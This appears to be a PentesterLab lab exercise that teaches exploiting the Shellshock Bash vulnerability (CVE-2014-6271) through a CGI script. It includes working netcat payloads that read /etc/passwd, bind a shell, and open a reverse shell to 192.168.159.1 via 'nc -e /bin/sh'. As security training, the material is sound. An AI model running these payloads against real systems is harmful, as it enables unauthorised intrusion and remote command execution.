CVE-2014-6271/Shellshock
Bookmarked!This exercise covers the exploitation of a Bash vulnerability through a CGI.
This course details the exploitation of the vulnerability CVE-2014-6271. This vulnerability impacts the Bourne Again Shell "Bash". Bash is not usually available through a web application but can be indirectly exposed through a Common Gateway Interface "CGI".
By visiting the application with a proxy (like Burp Suite or OWASP Zap...), we can detect that multiple URL are accessed when the page is loaded:
To exploit "Shellshock", we need to find a way to "talk" to Bash. This implies finding a CGI that will use Bash. CGIs commonly use Python or Perl but it's not uncommon to find (on old servers), CGI written in Shell or even C.
When you call a CGI, the web server (Apache here) will start a new process and run the CGI. Here it will start a Bash process and run the CGI script.
Apache needs to pass information to the CGI script. To do so, it uses environment variables. Environment variables are available inside the CGI script. It allows Apache to easily pass every header (amongst other information) to the CGI. If you have an HTTP header named Blah
in your request, you will have an environment variable named HTTP_BLAH
available in your CGI.
Here, we are going to focus on the first version of the vulnerability but many more vulnerabilities in the same subpart of Bash have been found since: CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187...
The source of the issue is that Bash can have an internal function declaration in its environment variable. The first version of the vulnerability is related to the ability to run arbitrary commands after a function declaration.
First, we need to declare that the environment variable is a function using ()
. Then we will add an empty body for the function. Finally, we can start adding the command we want to run after the function declaration. More details can be found in the following email on oss-sec.
If you remember what we said before, Apache uses environment variables to pass headers to the CGI. Since it's a Bash based CGI, we will be able to run arbitrary commands by declaring an empty function and add a command after the declaration.
This vulnerability can be exploited using a proxy with a repeater mode (to be faster) or using netcat
.
Multiple payloads can be used depending on what you want to achieve. You can start by reading arbitrary files by using the following payload:
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
This payload will read the content of the file /etc/passwd
and echo it in the response.
The following part of the payload () { :;};
is used to create an empty function. Then the command one wish to execute can be added.
If you want to run commands, the easiest way is to bind a shell. Basically you will use netcat
(or nc
) to listen on a port and redirect the input and the output to /bin/sh
.
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
If the connection starts hanging, it's a really good sign, the CGI is waiting for you to connect. You can then connect to the bound port using:
$ nc vulnerable 9999
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
Bind shells suffer from a huge limitation: it's likely that a firewall between you and your victim will prevent you from connecting to the port you just bound. To bypass this, we are going to get the server to connect back to us.
We want the server to connect back to us. To do so, we are first going to bind a port on our system. We want a port that the server is likely to have access to, the most common are 21
(FTP
), 53
(DNS
), 123
(NTP
), 80
(HTTP
) and 443
(HTTPs
) as they are probably used to keep the system up-to-date and to perform every day operations.
We are going to bind the port 443
(you will need to run this command as root
or using sudo
) using the following command:
# nc -l -p 443
Now, we just need to adapt our payload to get the server to connect back to us on port 443
:
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
By going back to our initial netcat
, we can now type commands locally and they will be ran on the compromised system:
# nc -l -p 443
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
If you are working on the online version, you will only need to run one command /usr/local/bin/score [UUID]
. After you run the command, the response from the CGI to the web server will not contain two empty lines and will cause the server to send back an HTTP 500
error back to you. To make sure the attack was successful, you need to check if the exercise is marked as solved.
This exercise showed you how to manually detect and exploit ShellShock to gain command execution. This kind of vulnerabilities is really interesting and often stays undetected for a long time as it's located deep inside the interaction between components.
I hope you enjoyed learning with PentesterLab.